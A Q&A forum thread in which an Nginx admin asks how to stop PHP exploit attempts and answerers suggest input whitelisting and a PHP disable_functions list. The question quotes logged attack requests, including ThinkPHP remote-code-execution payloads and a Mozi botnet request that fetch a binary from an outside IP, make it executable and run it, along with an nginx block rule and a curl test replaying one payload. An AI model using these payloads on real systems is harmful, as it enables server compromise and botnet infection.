Answer the question
In order to leave comments, you need to log in
Nginx 1.10 php exploit through GET arguments, how to fix?
Example:
{"status": "400","ip": "87.117.152.116","host": "vitko-core.ru","path": "/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.145.185.107/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'","referrer": "-","user_agent": "puzzles/2.0","length": 343,"generation_time_milli": 0.000,"date": "2021-01-12T06:14:30+02:00"}
/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.145.185.107/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'
4.14.111 #1 SMP The Dec 19 15:23:22 CST 2019 armv7l armv7l armv7l GNU/Linux
if ($request_uri ~* "call_user_array|shell_exec|wget") {
return 444;
}
curl -I --user-agent "Test" "http://192.168.255.249/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.145.185.107/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'"
{"status": "444","ip": "112.163.119.159","host": "95.153.111.12","path": "/shell?cd+/tmp;rm+-rf+*;wget+http://112.163.119.159:33790/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws","referrer": "-","user_agent": "Hello, world","length": 0,"generation_time_milli": 0.000,"date": "2021-01-12T08:10:10+02:00"}
{"status": "400","ip": "170.246.86.201","host": "vitko-core.ru","path": "/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://185.239.242.76/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'","referrer": "-","user_agent": "puzzles/2.0","length": 343,"generation_time_milli": 0.000,"date": "2021-01-12T08:24:18+02:00"}
Answer the question
In order to leave comments, you need to log in
Regex-filter of all input user data according to the "white" list solves all issues once and for all.
Edit the php script handler for routing all incoming requests and add filtering there.
You can disable the execution of "opious functions in PHP". Add the following line to php.ini:
# disable functions
disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question